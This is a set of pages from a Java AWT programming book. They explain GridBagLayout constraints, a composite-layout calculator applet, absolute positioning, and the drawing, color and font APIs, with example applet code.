You can also add a component to a GridBagLayout using the single argument add() method, and then later calling the layout's setConstraints() method directly, to pass it the GridBagConstraints object for that component.

    add( component );
    ...
    myGridBagLayout.setConstraints( component, constraints );

In either case, the set of constraints is copied when it is applied to the component. Therefore, you're free to create a single set of GridBagConstraints, modify it as needed, and apply it as needed to different objects. You might find it helpful to create a helper method that sets the constraints appropriately, then adds the method with its constraints to the layout. That's the approach we'll take in our examples; our helper method is called addGB(), and it takes a component plus a pair of coordinates as arguments. These coordinates become the gridx and gridy values for the constraints. We could expand upon this later and overload addGB() to take more parameters for other constraints that we often change from component to component.

Grid Coordinates

One of the biggest surprises in the GridBagLayout is that there's no way to specify the size of the grid. There doesn't have to be. The grid size is determined implicitly by the constraints of all the objects; the layout manager picks dimensions large enough so that everything fits. Thus, if you put one component in a layout and set its gridx and gridy constraints to 25, the layout manager creates a 25 x 25 grid, with rows and columns both numbered from 0 to 24. If you add a second component with a gridx of 30 and a gridy of 13, the grid's dimensions change to 30 x 25. You don't have to worry about setting up an appropriate number of rows and columns. The layout manager does it automatically, as you add components.

With this knowledge, we're ready to create some simple displays. We'll start by arranging a group of components in a cross shape. We maintain explicit x and y local variables, setting them as we add the components to our grid. This is partly for clarity, but it can be a handy technique when you want to add a number of components in a row or column. You can simply increment gridx or gridy before adding each component. This is a simple and problem-free way to achieve relative placement. (Later, we'll describe GridBagConstraints's RELATIVE constant, which does relative placement automatically.) Here's our first layout:

Figure 12.6: "A Simple Layout"

[Graphic: Figure 12-6]

[Graphic: Figure 12-6]

import java.awt.*;
public class GridBag1 extends java.applet.Applet {
    GridBagConstraints constraints = new GridBagConstraints();
    void addGB( Component component, int x, int y  ) {
        constraints.gridx = x;
        constraints.gridy = y;
        add ( component, constraints );
    }

    public void init() {
        setLayout( new GridBagLayout() );
        int x, y;  // for clarity
        addGB( new Button("North"),  x=1,y=0 );
        addGB( new Button("West"),   x=0,y=1 );
        addGB( new Button("Center"), x=1,y=1 );
        addGB( new Button("East"),   x=2,y=1 );
        addGB( new Button("North"),  x=1,y=2 );
    }
}

You probably noticed that the buttons in this example are "clumped" together in the center of their display area. Each button is displayed at its preferred size, without stretching the button to fill the available space. This is how the layout manager behaves when the "weight" constraints are left unset. We'll talk more about weights in the next two sections.

Fill

Now let's make the buttons expand to fill the entire applet. To do so, we must take two steps: we must set the fill constraint for each button to the value BOTH, and we must set the weightx and weighty values to the same nonzero value. Here's the resulting layout, followed by the applet:

Figure 12.7: Expanded Button Layout

[Graphic: Figure 12-7]

    public void init() {
        setLayout( new GridBagLayout() );
        constraints.weightx = 1.0;
        constraints.weighty = 1.0;
        constraints.fill = GridBagConstraints.BOTH;
        int x, y;  // for clarity
        addGB( new Button("North"),  x=1,y=0 );
        addGB( new Button("West"),   x=0,y=1 );
        addGB( new Button("Center"), x=1,y=1 );
        addGB( new Button("East"),   x=2,y=1 );
        addGB( new Button("North"),  x=1,y=2 );
    }

BOTH is one of the constants of the GridBagConstraints class; it tells the component to fill the available space in both directions. The following table lists the constants that you can use to set the fill field:

HORIZONTAL

Fill the available horizontal space.

VERTICAL

Fill the available vertical space.

BOTH

Fill the available space in both directions.

NONE

Don't fill the available space; display the component at its preferred size.

We set the weight constraints to 1.0; it doesn't matter what they are, provided that each component has the same non-zero weight. fill doesn't work if the component weights in the direction you're filling are 0, which is the default value.

Weighting

The weightx and weighty variables of a GridBagConstraints object determine how space is distributed among the columns or rows in a layout. As long as you keep things simple, the effect these variables have is fairly intuitive: the larger the weight, the greater the amount of space allocated to the component. The display below shows what happens if we vary the weightx constraint from 0.1 to 1.0 as we place three buttons in a row.

Figure 12.8: Varied weightx

[Graphic: Figure 12-8]

[Graphic: Figure 12-8]

    public void init() {
        setLayout( new GridBagLayout() );
        constraints.fill = GridBagConstraints.BOTH;
        constraints.weighty = 1.0;
        int x, y; // for clarity
        constraints.weightx = 0.1;
        addGB( new Button("one"),   x=0, y=0 );
        constraints.weightx = 0.5;
        addGB( new Button("two"),   ++x, y );
        constraints.weightx = 1.0;
        addGB( new Button("three"), ++x, y );
    }

Although the weight values have no real meaning, you might find it convenient to use values that add up to 1. When you're working with weights, it is best not to get complicated. The effect of combining weights with different padding values can be very strange, as can be the effect of using different weightx values for components in the same column, or different weighty values for components in the same row. While it's possible to examine the code for the GridBagLayout and figure out exactly what it will do in any given situation, it really isn't worth the effort.

Spanning rows and columns

Perhaps the best feature of the GridBaglayout is that it lets you create arrangements in which components span two or more rows or columns. To do so, you set the gridwidth and gridheight variables of the GridBagConstraints. Here's an applet that creates such a display; button one spans two columns vertically, and button four spans two horizontally.

Figure 12.9: Layout Using GridBagConstraints

[Graphic: Figure 12-9]

[Graphic: Figure 12-9]

    public void init() {
        setLayout( new GridBagLayout() );
        constraints.weightx = 1.0;
        constraints.weighty = 1.0;
        constraints.fill = GridBagConstraints.BOTH;
        int x, y;  // for clarity
        constraints.gridheight = 2; // Span two rows
        addGB( new Button("one"),   x=0, y=0 );
        constraints.gridheight = 1; // set it back
        addGB( new Button("two"),   x=1, y=0 );
        addGB( new Button("three"), x=2, y=0 );
        constraints.gridwidth = 2; // Span two columns
        addGB( new Button("four"),  x=1, y=1 );
        constraints.gridwidth = 1; // set it back
    }

The size of each element is controlled by the gridwidth and gridheight values of its constraints. For button one, we set gridheight to 2. Therefore, it is two cells high; its gridx and gridy positions are both zero, so it occupies cell (0,0) and the cell directly below it, (0,1). Likewise, button four has a gridwidth of 2 and a gridheight of 1, so it occupies two cells horizontally. We place this button in cell (1,1), so it occupies that cell and its neighbor, (2,1).

In this example, we set the fill to BOTH, and weightx and weighty to 1, for all components. By doing so, we told each button to occupy all the space available. Strictly speaking, this isn't necessary. However, it makes it easier to see exactly how much space each button occupies.

Anchoring

If a component is smaller than the space available for it, it is centered by default. But centering isn't the only possibility. The anchor constraint tells a grid bag layout how to position a component within its space. Possible values are: GridBagConstraints.CENTER, NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, and NORTHWEST. For example, an anchor of GridBagConstraints.NORTH centers a component at the top of its display area; SOUTHEAST places a component at the bottom left of its area.

Padding and Insets

Another way to control the behavior of a component in a grid bag layout is to use padding and insets. Padding is determined by the ipadx and ipady fields of GridBagConstraints. They specify additional horizontal and vertical space that is added to the component when it is placed in its cell. In the example below, the West button is larger because we have set the ipadx and ipady values of its constraints to 25. Therefore, the layout manager gets the button's preferred size and adds 25 pixels in each direction to determine the button's actual size. The sizes of the other buttons are unchanged because their padding is set to 0 (the default), but their spacing is different. The West button is unnaturally tall, which means that the middle row of the layout must be taller than the others.

Figure 12.10: Layout Using Padding and Insets

[Graphic: Figure 12-10]

    public void init() {
        setLayout( new GridBagLayout() );
        int x, y;  // for clarity
        addGB( new Button("North"),  x=1,y=0 );
        constraints.ipadx = 25;  // set padding
        constraints.ipady = 25;
        addGB( new Button("West"),   x=0,y=1 );
        constraints.ipadx = 0;   // set padding back
        constraints.ipady = 0;
        addGB( new Button("Center"), x=1,y=1 );
        addGB( new Button("East"),   x=2,y=1 );
        addGB( new Button("North"),  x=1,y=2 );
    }

Notice that the horizontal padding, ipadx, is added on both the left and right sides of the button. Therefore, the button grows horizontally by twice the value of ipadx. Likewise, the vertical padding, ipady, is added on both the top and the bottom.

Insets add space between the edges of the component and its cell. They are stored in the insets field of GridBagConstraints, which is an Insets object. An Insets object has four fields, to specify the margins on the top, bottom, left, and right of the component. The relationship between insets and padding can be confusing. As shown in the following diagram, padding is added to the component itself, increasing its size. Insets are external to the component and represent the margin between the component and its cell.

Figure 12.11: Another Layout Using Padding and Insets

[Graphic: Figure 12-11]

Padding and weighting have an odd interaction with each other. If you use padding, it is best to use the default weightx and weighty values for each component.

Relative Positioning

In all of our grid bag layouts so far, we have specified the gridx and gridy coordinates of each component explicitly using its constraints. There's another alternative: relative positioning.

Conceptually, relative positioning is simple: we simply say "put this component to the left of (or below) the previous component." To do so, set gridx or gridy to the constant GridBagConstraints.RELATIVE. Unfortunately, it's not as simple as this. Here are a couple of warnings:

  • To place a component to the right of the previous one, set gridx to RELATIVE, AND use the same value for gridy as you used for the previous component.

  • Similarly, to place a component below the previous one, set gridy to RELATIVE, AND leave gridx unchanged.

  • Setting both gridx and gridy to RELATIVE places all the components in one row, not in a diagonal line, as you would expect. (This is the default.)

In other words, if gridx or gridy is RELATIVE, you had better leave the other value unchanged. In short, RELATIVE makes it easy to arrange a lot of components in a row or a column. That's what it was intended for; if you try to do something else, you're fighting against the layout manager, not working with it.

GridBagLayout allows another kind of relative positioning, in which you specify where, in a row or a column, the component should be placed. To do so, you use the gridwidth and gridheight fields of GridBagConstraints. Setting either of these to the constant REMAINDER says that the component should be the last item in its row or column, and therefore should occupy all the remaining space. Setting either gridwidth or gridheight to RELATIVE says that it should be the second to the last item in its row or column. Obviously, you can use these constants to create constraints that can't possibly be met; for example, you can say that two components must be the last component in a row. In these cases, the layout manager tries to do something reasonable--but it will almost certainly do something you don't want. Again, relative placement works well as long as you don't try to twist it into doing something it wasn't designed for.

Composite layouts

Sometimes things don't fall neatly into little boxes. This is true of layouts as well as life. For example, if you want to use some of GridBagLayout's weighting features for part of your GUI, you could create separate layouts for different parts of the GUI, and combine them with yet another layout. That's how we'll build the pocket calculator interface below. We will use three grid bag layouts: one for the first row of buttons (C, %, +), one for the last (0, ., =), and one for the applet itself. The master layout (the applet's) manages the text field we use for the display, the panels containing the first and last rows of buttons, and the twelve buttons in the middle.[2]

[2] If you're curious, this calculator is based on the ELORG-801, which I found in an online "calculator museum": see http://www.geocities.com/CapeCanaveral/6747/elorg801.jpg.

Figure 12.12: The Calculator Applet

[Graphic: Figure 12-12]

Here's the code for the Calculator applet. It only implements the user interface (i.e., the keyboard); it collects everything you type in the display field, until you press C (clear). Figuring out how to connect the GUI to some other code that would perform the operations is up to you. One strategy would be to send an event to the object that does the computation whenever the user presses the equals sign. That object could read the contents of the text field, parse it, do the computation, and display the results.

import java.awt.*;
import java.awt.event.*;
public class Calculator extends java.applet.Applet
                            implements ContainerListener, ActionListener {
    GridBagConstraints gbc = new GridBagConstraints(); {
        gbc.weightx = 1.0;  gbc.weighty = 1.0;
        gbc.fill = GridBagConstraints.BOTH;
    }
    TextField theDisplay = new TextField();
    public void init() {
        setFont( new Font("Monospaced", Font.BOLD, 24) );
        addContainerListener( this );
        gbc.gridwidth=4;
        addGB( this, theDisplay, 0, 0 );
        // make the top row
        Panel topRow = new Panel();
        topRow.addContainerListener( this );
        gbc.gridwidth = 1;
        gbc.weightx = 1.0;
        addGB( topRow, new Button("C"), 0, 0 );
        gbc.weightx = 0.33;
        addGB( topRow, new Button("%"), 1, 0 );
        gbc.weightx = 1.0;
        addGB( topRow, new Button("+"), 2, 0 );
        gbc.gridwidth = 4;
        addGB( this, topRow, 0, 1 );
        gbc.weightx = 1.0;  gbc.gridwidth = 1;
        // make the digits
        for(int j=0; j<3; j++)
            for(int i=0; i<3; i++)
                addGB( this, new Button( "" + ((2-j)*3+i+1) ), i, j+2 );
        // -, x, and divide
        addGB( this, new Button("-"), 3, 2 );
        addGB( this, new Button("x"), 3, 3 );
        addGB( this, new Button("\u00F7"), 3, 4 );
        // make the bottom row
        Panel bottomRow = new Panel();
        bottomRow.addContainerListener( this );
        gbc.weightx = 1.0;
        addGB( bottomRow, new Button("0"), 0, 0 );
        gbc.weightx = 0.33;
        addGB( bottomRow, new Button("."), 1, 0 );
        gbc.weightx = 1.0;
        addGB( bottomRow, new Button("="), 2, 0 );
        gbc.gridwidth = 4;
        addGB( this, bottomRow, 0, 5 );
    }
    private void addGB( Container cont, Component comp, int x, int y  ) {
        if ( ! (cont.getLayout() instanceof GridBagLayout) )
            cont.setLayout( new GridBagLayout() );
        gbc.gridx = x;  gbc.gridy = y;
        cont.add( comp, gbc );
    }
    public void componentAdded( ContainerEvent e ) {
        Component comp = e.getChild();
        if ( comp instanceof Button )
            ((Button)comp).addActionListener( this );
    }
    public void componentRemoved( ContainerEvent e ) { }
    public void actionPerformed( ActionEvent e ) {
        if ( e.getActionCommand().equals("C") )
            theDisplay.setText( "" );
        else
            theDisplay.setText( theDisplay.getText() + e.getActionCommand() );
    }
}

Once again, we use an addGB() helper method to add components with their constraints to the layout. Before discussing how to build the display, let's look at addGB(). We said earlier that there are three layout managers in our user interface: one for the applet itself, one for the panel containing the first row of buttons (topRow), and one for the panel containing the bottom row of buttons (bottomRow). We use addGB() for all three layouts; its first argument specifies the container to add the component to. Thus, when the first argument is this, we're adding an object to the applet itself. When the first argument is topRow, we're adding a button to the first row of buttons. addGB() first checks the container's layout manager, and sets it to GridBagLayout if it isn't already set properly. It then sets the object's position by modifying a set of constraints, gbc, and then uses these constraints to add the object to the container.

We use a single set of constraints throughout the applet, modifying fields as we see fit. The constraints are created and initialized at the beginning of the applet, using a nonstatic initializer block. Before calling addGB(), we set any fields of gbc for which the defaults are inappropriate. Thus, for the display itself, we set the grid width to 4, and add the display directly to the applet (this). The add() method, which is called by addGB(), makes a copy of the constraints, so we're free to reuse gbc throughout the applet.

The first row of buttons (and the last) are the motivation for the composite layout. Using a single GridBagLayout, it's very difficult (or impossible) to create buttons that aren't aligned with the grid; that is, you can't say "I want the C button to have a width of 1.5." Therefore, topRow has its own layout manager, with three horizontal cells, allowing each button in the row to have a width of 1. To control the size of the buttons, we set the weightx variables so that the "clear" and "plus" buttons take up more space than the "percent" button. We then add the topRow as a whole to the applet, with a width of 4. The bottom row is built similarly.

To build the buttons for the digits 1-9, we use a doubly nested loop. There's nothing particularly interesting about this loop, except that it's probably a bit too clever for good taste. The minus, multiply, and divide buttons are also simple: we create a button with the appropriate label, and use addGB() to place it in the applet. It's worth noting that we used a Unicode constant to request a real division sign, rather than wimping out and using a slash.

That's it for the user interface; the only topic left is event handling. Each button generates action events; we need to register listeners for these events. We'll make the applet the listener for all the buttons. To register the applet as a listener, we'll be clever. Whenever a component is added to a container, the container generates a ContainerEvent. Therefore, we can write componentAdded() and componentRemoved() methods, declare that the applet is a ContainerListener, and use componentAdded() to register listeners for our buttons. This means that the applet must register as a ContainerListener for itself, and for the two panels, topRow and bottomRow. Our componentAdded() method is very simple. It calls getChild() to find out what component caused the event (i.e., what component was added). If that component is a button, it registers the applet as an ActionListener for that button.

actionPerformed() is called whenever the user presses any button. It clears the display if the user pressed the "C" button; otherwise, it appends the button's action command (in this case, its label) to the display.

Combining layout managers is an extremely useful trick. Granted, this applet verges on overkill. You won't often need to create a composite layout using multiple grid bags. Composite layouts are most common with the BorderLayout; you'll frequently use different layout managers for each of a border layout's regions. For example, the Center region might be a ScrollPane, which has its own special-purpose layout manager; the East and South regions might be panels managed by grid layouts or flow layouts, as appropriate.

Previous | Home | Next
CardLayout | Book Index | Nonstandard Layout Managers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.6 Nonstandard Layout Managers

Previous Chapter 12
Layout Managers 		Next

12.6 Nonstandard Layout Managers

We've covered the basic layout managers; with them, you should be able to create just about any user interface you like.

But that's not all, folks. If you want to experiment with layout managers that are undocumented, may change, and may not be available locally on all platforms, look in the sun.awt classes. You'll find a HorizBagLayout, a VerticalBagLayout, an OrientableFlowLayout, and a VariableGridLayout. Furthermore, public-domain layout managers of all descriptions are beginning to appear on the Net; keep your eye on Gamelan and the other Java archives.

Previous | Home | Next
GridBagLayout | Book Index | Absolute Positioning?
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.7 Absolute Positioning?

Previous Chapter 12
Layout Managers 		Next

12.7 Absolute Positioning?

It's possible to set the layout manager to null: no layout control. You might do this to position an object on the display at some absolute coordinates. This is almost never the right approach. Components might have different minimum sizes on different platforms, and your interface would not be very portable.

The following applet doesn't use a layout manager and works with absolute coordinates instead:

import java.awt.*;

public class MoveButton extends java.applet.Applet {
    Button button = new Button("I Move");

    public void init() {
        setLayout( null );
        add( button );
        button.setSize( button.getPreferredSize() );
        button.move( 20, 20);
    }

    public boolean mouseDown( Event e, int x, int y ) {
        button.move( x, y );
        return ( true );
    }

}

Click in the applet area, outside of the button, to move the button to a new location. If you are running the example in an external viewer, try resizing the window and note that the button stays at a fixed position relative to the display origin.

Previous | Home | Next
Nonstandard Layout Managers | Book Index | Drawing With the AWT
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Drawing With the AWT

Previous Chapter 13 Next

13. Drawing With the AWT

Contents:
Basic Drawing
Colors
Fonts
Images
Drawing Techniques

If you've read the last few chapters and seen the examples in the tutorial in Chapter 2, A First Applet, then you've probably picked up the basics of how graphical operations are performed in Java. Up to this point, we have done some simple drawing and even displayed an image or two. In this chapter, we will finally give graphics programming its due and go into depth about drawing techniques and the tools for working with images in Java. In the next chapter, we'll explore image processing tools in more detail and we'll look at the classes that let you generate images pixel by pixel on the fly.

13.1 Basic Drawing

The classes you'll use for drawing come from the java.awt package, as shown in Figure 13.1.[1].

[1] The current set of drawing tools has many limitations. In the near future, JavaSoft will be releasing packages for advanced 2D graphics, which will have much greater capabilities. A 3D package is also planned. See Chapter 1, Yet Another Language? for information about likely future Java enhancements.

Figure 13.1: Graphics classes of the java.awt package

[Graphic: Figure 13-1]

An instance of the java.awt.Graphics class is called a graphics context. It represents a drawable surface such as a component's display area or an off-screen image buffer. A graphics context provides methods for performing all basic drawing operations on its area, including the painting of image data. We call the Graphics object a graphics context because it also holds contextual information about the drawing area. This information includes parameters like the drawing area's clipping region, painting color, transfer mode, and text font. If you consider the drawing area to be a painter's canvas, you might think of a graphics context as an easel that holds a set of tools and marks off the work area.

There are four ways you normally acquire a Graphics object. Roughly, from most common to least, they are:

  • From AWT, as the result of a painting request. In this case, AWT acquires a new graphics context for the appropriate area and passes it to your component's paint() or update() method.

  • Directly from an off-screen image buffer. In this case, we ask the image buffer for a graphics context directly. We'll use this when we discuss techniques like double buffering.

  • By copying an existing Graphics object. Duplicating a graphics object can be useful for more elaborate drawing operations; different copies of a Graphics object draw into the same area on the screen, but can have different attributes and clipping regions.

  • Directly from an on-screen component. It's possible to ask a component to give you a Graphics object for its display area. However, this is almost always a mistake; if you feel tempted to do this, think about why you're trying to circumvent the normal paint()/repaint() mechanism.

Each time a component's update() or paint() method is called, AWT provides the component with a new Graphics object for drawing in the display area. This means that attributes we set during one painting session, such as drawing color or clipping region, are reset the next time paint() or update() is called. (Each call to paint() starts with a tidy new easel.) For the most common attributes, like foreground color, background color, and font, we can set defaults in the component itself. Thereafter, the graphics contexts for painting in that component come with those properties initialized appropriately.

If we are working in a component's update() method, we can assume our on-screen artwork is still intact, and we need only to make whatever changes are needed to bring the display up to date. One way to optimize drawing operations in this case is by setting a clipping region, as we'll see shortly. If our paint() method is called, however, we have to assume the worst and redraw the entire display.

Drawing Methods

Methods of the Graphics class operate in a standard coordinate system. The origin of a newly created graphics context is the top left pixel of the component's drawing area, as shown in Figure 13.2.

Figure 13.2: Graphics coordinate system

[Graphic: Figure 13-2]

The diagram above illustrates the default coordinate system. The point (0,0) is at the top left corner of the drawing area; the point (width, height) is just outside the drawing area at the bottom right corner. The point at the bottom right corner within the drawing area has coordinates (width-1, height-1). This gives you a drawing area that is width pixels wide and height pixels high.

The coordinate system can be translated (shifted) with the translate() method to specify a new point as the origin. The drawable area of the graphics context can be limited to a region with the setClip() method.

The basic drawing and painting methods should seem familiar to you if you've done any graphics programming. The following applet, TestPattern, exercises most of the simple shape drawing commands; it's shown in Figure 13.3.

Figure 13.3: The TestPattern applet

[Graphic: Figure 13-3]

import java.awt.*;
import java.awt.event.*;
public class TestPattern extends java.applet.Applet {
    int theta = 45;
    public void paint( Graphics g ) {
        int Width = size().width;
        int Height = size().height;
        int width = Width/2;
        int height = Height/2;
        int x = (Width - width)/2;
        int y = (Height- height)/2;
        int [] polyx =  { 0, Width/2, Width, Width/2 };
        int [] polyy =  { Height/2, 0, Height/2, Height };
        Polygon poly = new Polygon( polyx, polyy, 4 );

        g.setColor( Color.black );
        g.fillRect( 0, 0, size().width, size().height );
        g.setColor( Color.yellow );
        g.fillPolygon( poly );
        g.setColor( Color.red );
        g.fillRect( x, y, width, height );
        g.setColor( Color.green );
        g.fillOval( x, y, width, height );
        g.setColor( Color.blue );
        int delta = 90;
        g.fillArc( x, y, width, height, theta, delta );
        g.setColor( Color.white );
        g.drawLine( x, y, x+width, x+height );
    }
    public void init() {
        addMouseListener( new MouseAdapter() {
            public void mousePressed( MouseEvent e ) {
                theta = (theta + 10) % 360;
                repaint();
            }
        } );
    }
}

TestPattern draws a number of simple shapes and responds to mouse clicks by rotating the filled arc and repainting. Compile it and give it a try. If you click repeatedly on the applet, you may notice that everything flashes when it repaints. TestPattern is not very intelligent about redrawing; we'll examine some better techniques in the upcoming section on drawing techniques.

With the exception of fillArc() and fillPolygon(), each method takes a simple x, y coordinate for the top left corner of the shape and a width and height for its size. We have picked values that draw the shapes centered, at half the width and height of the applet.

The most interesting shape we've have drawn is the Polygon, a yellow diamond. A Polygon object is specified by two arrays that contain the x and y coordinates of each vertex. In our example, the coordinates of the points in the polygon are (polyx[0], polyy[0]), (polyx[1], polyy[1]), and so on. There are simple drawing methods in the Graphics class that take two arrays and draw or fill the polygon, but we chose to create a Polygon object and draw it instead. The reason is that the Polygon object has some useful utility methods that we might want to use later. A Polygon can, for instance, give you its bounding box and tell you if a given point lies within its area.

AWT also provides a Shape interface, which is implemented by different kinds of two dimensional objects. Currently, it is only implemented by the Rectangle and Polygon classes, but it may be a sign of things to come, particularly when JavaSoft releases the extended 2D drawing package. The setClip() method of the Graphics class takes a Shape as an argument, but for the time being, it only works if that Shape is a Rectangle.

The fillArc() method requires six integer arguments. The first four specify the bounding box for an oval--just like the fillOval() method. The final two arguments specify what portion of the oval we want to draw, as a starting angle and an offset. Both the starting angle and the offset are specified in degrees. Zero degrees is at three o'clock; a positive angle is clockwise. For example, to draw the right half of a circle, you might call:

g.fillArc(0, 0, radius * 2, radius * 2, -90, 180);

See the Dial example in Chapter 11, Using and Creating GUI Components (widgets?) for an example of some trigonometric gymnastics with arcs().

Table 13.1 shows the shape-drawing methods of the Graphics class. As you can see, for each of the fill() methods in the example, there is a corresponding draw() method that renders the shape as an unfilled line drawing.

Table 13.1: Shape Drawing Methods in the Graphics Class
Method | Description
draw3DRect() | Draws a highlighted, 3D rectangle
drawArc() | Draws an arc
drawLine() | Draws a line
drawOval() | Draws an oval
drawPolygon() | Draws a polygon, connecting endpoints
drawPolyline() | Draws a line connecting a polygon's points
drawRect() | Draws a rectangle
drawRoundRect() | Draws a rounded-corner rectangle
fill3DRect() | Draws a filled, highlighted, 3D rectangle
fillArc() | Draws a filled arc
fillOval() | Draws a filled oval
fillPolygon() | Draws a filled polygon
fillRect() | Draws a filled rectangle
fillRoundRect() | Draws a filled, rounded-corner rectangle

draw3Drect() automatically chooses colors by "darkening" the current color. So you should set the color to something other than black, which is the default (maybe gray or white); if you don't, you'll just get black on both sides. For an example, see the PictureButton in Chapter 11, Using and Creating GUI Components.

There are a few important drawing methods missing from Table 13.1. For example, the drawString() method, which draws text, and the drawImage() method, which draws an image. We'll discuss these methods in detail in later sections.

Previous | Home | Next
Absolute Positioning? | Book Index | Colors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.2 Colors

Previous Chapter 13
Drawing With the AWT 		Next

13.2 Colors

The TestPattern applet fills its shapes with a number of colors, using the setColor() method of the Graphics object. setColor() sets the current color in the graphics context, so we set it to a different color before each drawing operation. But where do these color values come from?

The java.awt.Color class handles color in Java. A Color object describes a single color. You can create an arbitrary Color by specifying the red, green, and blue values, either as integers between 0 and 255 or as floating-point values between 0.0 and 1.0. You can also use getColor() to look up a named color in the system properties table, as described in Chapter 7, Basic Utility Classes. getColor() takes a String color property name, retrieves the integer value from the Properties list, and returns the Color object that corresponds to that color.

The Color class also defines a number of static final color values; these are what we used in the TestPattern example. These constants, such as Color.black and Color.red, provide a convenient set of basic colors for your drawings.

Desktop Colors

The Color class I just described makes it easy to construct a particular color; however, that's not always what you want to do. Sometimes you want to match a preexisting color scheme. This is particularly important when you are designing a user interface; you might want your components to have the same colors as other components on that platform, and to change automatically if the user redefines his or her color scheme.

That's what the SystemColor class is for. A system color represents the color used by the local windowing system in a certain context. The SystemColor class holds lots of pre-defined SystemColors, just like the Color Class holds some pre-defined basic colors. For example, the field activeCaption represents the color used for the background to the title of an active window; activeCaptionText represents the color used for the title itself. menu represents the background color of menu selection; menuText represents the color of a menu item's text when it is not selected; textHighlightText is the color used when the item is selected; and so on. You could use the window value to set the color of a Window to match the other Windows on the user's screen--whether or not they're generated by Java programs.

myWindow.setBackground( SystemColor.window );

Because the SystemColor class is a subclass of Color, you can use it wherever you would use a Color. However, the SystemColor constants are tricky. They are constants as far as you, the programmer, are concerned; your code is not allowed to modify them. However, they can be modified at run-time by the Toolkit. If the user changes his color scheme, the system colors are automatically updated to follow suit; as a result, anything displayed with system colors will also change color the next time it is redrawn. For example, the window myWindow would automatically change its background color to the new background color.

The SystemColor class has one noticeable shortcoming. You can't compare a system color to a Color directly; the Color.equals() method doesn't return reliable results. For example, if you want to find out whether the window background color is red, you can't call:

Color.red.equals(SystemColor.window);
Instead, you should use getRGB() to find the color components of both objects, and compare them, rather than comparing the objects themselves.

Previous | Home | Next
Basic Drawing | Book Index | Fonts
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.3 Fonts

Previous Chapter 13
Drawing With the AWT 		Next

13.3 Fonts

Text fonts in Java are represented by instances of the java.awt.Font class. A Font object is constructed from a font name, style identifier, and a point size. We can create a Font at any time, but it's meaningful only when applied to a particular component on a given display device. Here are a couple of fonts:

Font smallFont = new Font("Monospaced", Font.PLAIN, 10);
Font bigFont = new Font("Serif", Font.BOLD, 18);

The font name is a symbolic name for the font family. The following font names should be available on all platforms; Figure 13.4 shows what these fonts look like on a typical platform:[2]

[2] The names Helvetica, TimesRoman, Courier, Symbol, and ZapfDingbats are supported in Java 1.1 for backwards compatibility, but shouldn't be used; they may be removed in a future version. Symbols and ZapfDingbats, which used to be available as Font names have now taken their proper place as ranges in the Unicode character table: 2200-22ff and 2700-27ff respectively.

Figure 13.4: Font examples

[Graphic: Figure 13-4]

  • Serif (generic name for TimesRoman)

  • SansSerif (generic name for Helvetica)

  • Monospaced (generic name for Courier)

  • Dialog

  • DialogInput

The font you specify is mapped to an actual font on the local platform. Java's fonts.properties files map the font names to the available fonts, covering as much of the Unicode character set as possible. If you request a font that doesn't exist, you get the default font.

You can also use the static method Font.getFont() to look up a font name in the system properties list. getFont() takes a String font property name, retrieves the font name from the Properties table, and returns the Font object that corresponds to that font. You can use this mechanism, as with Colors, to define fonts with properties from outside your application.

The Font class defines three static style identifiers: PLAIN, BOLD, and ITALIC. You can use these values on all fonts. The point size determines the size of the font on a display. If a given point size isn't available, Font substitutes a default size.[3]

[3] There is no straightforward way to determine if a given Font is available at a given point size in the current release of Java. Fonts are one of Java's weak points. Sun has promised better Font handling (and perhaps true, portable Fonts) in a future release.

You can retrieve information about an existing Font with a number of routines. The getName(), getSize() and getStyle() methods retrieve the symbolic name, point size and style, respectively. You can use the getFamily() method to find out the platform specific font family to which the font actually maps.

Finally, to actually use a Font object you can simply specify it as an argument to the setFont() method of a Component or Graphics object. Subsequent text-drawing commands like drawString() for that component or in that graphics context use the specified font.

Font Metrics

To get detailed size and spacing information for text rendered in a font, we can ask for a java.awt.FontMetrics object. Different systems will have different real fonts available; the available fonts may not match the font you request. Thus, a FontMetrics object presents information about a particular font on a particular system, not general information about a font. For example, if you ask for the metrics of a nine-point Monospaced font, what you get isn't some abstract truth about Monospaced fonts; you get the metrics of the font that the particular system uses for nine-point Monospaced--which may not be exactly nine point or even Monospaced.

Use the getFontMetrics() method for a Component to retrieve the FontMetrics for a Font as it would appear for that component:

public void init() {
    ...
    // Get the metrics for a particular font on this component
    FontMetrics smallFont = myLabel.getFontMetrics( smallFont );
    ...
}

The Graphics object also has a getFontMetrics() method that gets the FontMetrics information for the current font in the graphics context.

public void paint( Graphics g ) {
    // Get the metrics for the current font
    FontMetrics fm = g.getFontMetrics();
   ...
}

The following applet, FontShow, displays a word and draws reference lines showing certain characteristics of its font, as shown in Figure 13.5. Clicking in the applet toggles the point size between a small and a large value.

Figure 13.5: The FontShow applet

[Graphic: Figure 13-5]

import java.awt.*;
import java.awt.event.*;
public class FontShow extends java.applet.Applet {
    static final int LPAD=25;   // Frilly line padding
    boolean bigFont = true;
    public void init() {
        addMouseListener( new MouseAdapter() {
            public void mouseClicked(MouseEvent e) {
                bigFont = !bigFont;
                repaint();
            }
        } );
    }
    public void paint( Graphics g ) {
        String message = getParameter( "word" );
        g.drawRect(0, 0, getSize().width-1, getSize().height-1);
        if ( bigFont )
            g.setFont( new Font("Dialog",Font.PLAIN,24) );
        else
            g.setFont( new Font("Dialog",Font.PLAIN,12) );
        FontMetrics metrics = g.getFontMetrics();
        int fontAscent = metrics.getMaxAscent ();
        int fontDescent = metrics.getMaxDescent();
        int messWidth = metrics.stringWidth ( message );
        // Center text
        int startX = getSize().width/2 - messWidth/2;
        int startY = getSize().height/2 - fontDescent/2 + fontAscent/2;
        g.drawString(message, startX, startY);
        g.setColor( Color.white );  // Base lines
        g.drawLine( startX-LPAD, startY, startX+messWidth+LPAD, startY );
        g.drawLine( startX, startY+ LPAD, startX, startY-fontAscent-LPAD );
        g.setColor( Color.green );  // Ascent line
        g.drawLine( startX-LPAD, startY-fontAscent, startX+messWidth+LPAD, startY-fontAscent );
        g.setColor( Color.red );    // Descent line
        g.drawLine( startX-LPAD, startY+fontDescent, startX+messWidth+LPAD, startY+fontDescent );
    }
}

